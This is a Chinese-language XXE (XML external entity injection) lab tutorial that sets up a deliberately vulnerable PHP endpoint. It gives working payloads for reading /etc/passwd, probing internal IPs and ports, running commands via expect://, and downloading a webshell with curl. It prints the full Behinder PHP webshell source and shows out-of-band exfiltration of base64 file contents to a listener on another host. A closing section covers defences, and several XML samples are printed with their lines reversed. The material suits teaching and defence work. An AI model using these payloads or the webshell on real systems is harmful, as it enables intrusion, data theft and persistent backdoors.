201-A18-xml外部实体注入(XXE漏洞)

PS: 文中 XML 代码用代码框显示会出错,故用黄色标明(格式已做调整可以直接使用)

准备工作

  • Centos7 主机一台,安装 httpd、php 以及 xml 服务
  • yum -y install httpd httpd-devel php php-xml php-devel

一、概念

XXE 注入,即 XML External Entity,XML 外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

二、XML 相关知识

1. XMl 定义

(1)XML: 可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据 (而不是储存数据 ), 可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是 W3C 的推荐标准。

(2)XML 由 3 个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即 XML 的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即 XML 的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

(3). 可扩展标记语言 (XML) 和超文本标记语言 (HTML) 为不同的目的而设计 , 它被设计用来传输和存储数据,其焦点是数据的内容 ; 超文本标记语言被设计用来显示数据,其焦点是数据的外观。

(4) XML 不会做任何事情 ,XML 被设计用来结构化、存储以及传输信息。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个信息。

(5) XML 没什么特别的。它仅仅是纯文本而已。有能力处理纯文本的软件都可以处理 XML。不过,能够读懂 XML 的应用程序可以有针对性地处理 XML 的标签。标签的功能性意义依赖于应用程序的特性.

2. XML 语法介绍

2.1 例 1

<?xml version="1.0" encoding="ISO-8859-1"?> <!-- XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。-->
<note> <!--文档的根元素-->
<to>farmsec</to> <!--根的 4 个子元素(to, from, heading 以及 body)-->
<from>sara</from>
<heading>memo</heading>
<body> Review the experiment in the afternoon!</body>
</note> <!--根元素的结尾-->
  • 该 XML 文档包含了 sara 给 farmsec 的一张便签。
  • XML 文档形成一种树结构必须包含根元素,该元素是所有其他元素的父元素。
  • XML 文档中的元素形成了一棵文档树,这棵树从根部开始,并扩展到树的最底端,所有元素均可拥有子元素。
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
  • 在 XML 中,省略关闭标签是非法的,所有元素都必须有关闭标签,如同 。
  • XML 标签对大小写敏感,必须使用相同的大小写来编写打开标签和关闭标签。
<farmsec>这是错误的</Farmsec>
<farmsec>这是正确的</farmsec>
  • 所有元素都必须彼此正确地嵌套,不能打乱顺序。
<b><i>这是正确的</i></b>
<b><i>这是错误的</b></i>
XML的属性值须加引号如:
<note date="08/08/2008">
  • XML 中,一些字符拥有特殊的意义,如果把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始为了避免这个错误,要使用用实体引用来代替 “<” 字符。只有字符 “<” 和 “&” 确实是非法的,大于号是合法的,但是用实体引用来代替它是一个好习惯。
<message>if salary < 1000 then</message>
<<小于
>>大于
&&和号
单引号
引号
  • 某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。
  • CDATA 部分中的所有内容都会被解析器忽略。
  • CDATA 部分由 “<![CDATA[” 开始,由 “]]>” 结束
  • XML 中编写注释的语法与 HTML 的语法很相似
<!--注释-->

XML复制

3. XML DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

通过 DTD,每一个 XML 文件均可携带一个有关其自身格式的描述、独立的团体可一致地使用某个标准的 DTD 来交换数据、应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据,还可以使用 DTD 来验证自身的数据。

3.1 内部的 DOCTYPE 声明

  • 假如 DTD 被包含在 XML 源文件中,它应当通过 <!DOCTYPE root-element [element-declarations]> 包装在一个 DOCTYPE 声明中。
</note>
<body> Review the experiment in the afternoon!</body>
<heading> memo </heading>
<from>sara</from>
<to>farmsec</to>
<note>

<!ELEMENT body (#PCDATA)> <!--定义 body 元素为 "#PCDATA" 类型-->
<!ELEMENT heading (#PCDATA)> <!--定义 heading 元素为 "#PCDATA" 类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为 "#PCDATA" 类型-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为 "#PCDATA" 类型-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素:"to、from、heading,、body"-->

<!DOCTYPE note [ <!--此文档是 note 类型的文档-->
<?xml version="1.0"?>

3.2 外部文档声明

  • 假如 DTD 位于 XML 源文件的外部,那么它应通过 <!DOCTYPE root-element SYSTEM “filename”> 被封装在一个 DOCTYPE 定义中。
<!ELEMENT body (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT note (to,from,heading,body)>
  • 包含 DTD 的 “note.dtd” 文件内容应该为:
</note>
<body> Review the experiment in the afternoon!</body>
<heading> memo </heading>
<from>sara</from>
<to>farmsec</to>
<note>
  
<!DOCTYPE note SYSTEM "note.dtd">
<?xml version="1.0"?>

4. xml 的协议支持

Libxml2PHPJava.NET
filefilehttpfile
httphttphttpshtttp
ftpftpftphttps
phpfileftp
compress.zlibjar
compress.bzip2netdoc
datamailto
glob

三、XXE 漏洞利用

  • 登录云主机,将以下代码命名为 farmsec.php 保存到 /var/www/html 下
<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>
201-A18-xml外部实体注入(XXE漏洞)

访问 http://ip/famrsec.php ,使用 burp 抓包,并改为 post 方式

201-A18-xml外部实体注入(XXE漏洞)

1. 读取本地文件

<creds>&goodies;</creds>
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<!DOCTYPE creds [
<?xml version="1.0" encoding="utf-8"?>
201-A18-xml外部实体注入(XXE漏洞)

当文件含有特殊字符(”<” 和 “&”)时,这个方法将会报错或无返回 , 如查看一个 php 文件时 <?php 会被当作新元素。

201-A18-xml外部实体注入(XXE漏洞)
  • 这时候就需要借助 CDATA,CDATA 节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml 标记。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///var/www/html/farmsec.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.11.241/farm.dtd">
%dtd; ]>
<roottag>&all;</roottag>
  • 在另一台服务器或者本服务器的 /var/www/html 目录创建一个 farm.dtd(也可以用 Python 的 httpserver:python –m SimpleHTTPServer 80), 内容如下
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
201-A18-xml外部实体注入(XXE漏洞)

2. 内网 ip 探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.11.2"> ]>
<creds>&goodies;</creds>
  • 根据响应的时间的长短判断 ip 是否存在,可以通过 burp 爆破模块遍历端口
201-A18-xml外部实体注入(XXE漏洞)
201-A18-xml外部实体注入(XXE漏洞)

3. 内网端口探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.11.2:22"> ]>
<creds>&goodies;</creds>
  • 根据响应的时间的长短判断端口是否开放,可以通过 burp 爆破模块遍历端口,如果有报错,可以直接探测出 banner 信息。
201-A18-xml外部实体注入(XXE漏洞)

4. 命令执行

  • 这种情况很少发生,但有些情况下攻击者能够通过 XXE 执行代码,这主要是由于配置不当 / 开发内部应用导致的。如果我们足够幸运,并且 PHP expect 模块被加载到了易受攻击的系统或处理 XML 的内部应用程序上,那么我们就可以执行命令。

4.1 安装 php-expect 模块

yum -y install epel-release wget
yum makecache
yum -y install expect expect-devel tcl tcl-devel tk tk-devel gcc gcc-c++
wget http://pear.php.net/go-pear.phar -O go-pear.php
php go-pear.php
201-A18-xml外部实体注入(XXE漏洞)
  • 回车确认配置目录,需要修改配置输入标号后即可设置,yum 安装的可以直接回车
pecl search expect
pecl install expect
echo "extension=expect.so" >> /etc/php.ini
systemctl restart httpd

4.2 构造命令执行

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY Fsec.io SYSTEM "expect://whoami" >]>
<creds>&Fsec.io;</creds>
201-A18-xml外部实体注入(XXE漏洞)
  • 执行带空格的命令需要使用 $IFS 代替空格(仅限 Linux)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY Fsec.io SYSTEM "expect://cat$IFS'/etc/passwd'" >]>
<creds>&Fsec.io;</creds>
201-A18-xml外部实体注入(XXE漏洞)

4.3 上传木马

  • 在另一台服务器或者本服务器的 /var/www/html 目录创建一个 shell.php(也可以用 Python 的 httpserver:python –m SimpleHTTPServer 80), 内容为冰蝎默认 PHP 马。
/**
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
**/
201-A18-xml外部实体注入(XXE漏洞)
  • 在执行下载之前需要确认靶机 apache 用户具有写入权限。
chown -R apache:apache /var/www/html
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY Fsec.io SYSTEM "expect://curl$IFS-O$IFS'192.168.11.241/shell.php'" >]>
<creds>&Fsec.io;</creds>
201-A18-xml外部实体注入(XXE漏洞)

使用冰蝎连接靶机

201-A18-xml外部实体注入(XXE漏洞)

四、无回显注入

  • 将代码保存为 farmsec2.php 到服务器 /var/www/html 目录
<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

这时候访问该网页使用读取本地文件的 payload 已经没有返回数据了

201-A18-xml外部实体注入(XXE漏洞)

1. 外带数据读取文件

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http:// 192.168.11.241/farm2.dtd">
%dtd;
%send;
]>
  • 在另一台服务器或者本服务器的 /var/www/html 目录创建一个 farm2.dtd(也可以用 Python 的 httpserver:python –m SimpleHTTPServer 80), 内容如下
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http:// 192.168.11.241:9999/?id=%file;'>"
%all;
  • 在发包之前监听一下另一台服务器的 9999 端口
201-A18-xml外部实体注入(XXE漏洞)

发包后再监听窗口查看数据

201-A18-xml外部实体注入(XXE漏洞)
201-A18-xml外部实体注入(XXE漏洞)

将该 base64 解码

201-A18-xml外部实体注入(XXE漏洞)

五、防御方案

1. 使用开发语言提供的禁用外部实体的方法

  • php:
libxml_disable_entity_loader(true);
  • JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2. 过滤用户提交的 XML 数据

  • 对变量:<!DOCTYPE 和 <!ENTITY,或者,SYSTEM 和 PUBLIC 进行过滤.

3. 检查所使用的底层 xml 解析库,默认禁止外部实体的解析

4. 使用第三方应用代码及时升级补丁

5. 同时增强对系统的监控,防止此问题被人利用

6. 对于 PHP, 由于 simplexml_load_string 函数的 XML 解析问题出在 libxml 库上 , 所以加载实体前可以调用这样一个函数

<?php
libxml_disable_entity_loader(true);
?>

7. 对于 XMLReader 和 DOM 方式解析 , 可以参考如下代码:

<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容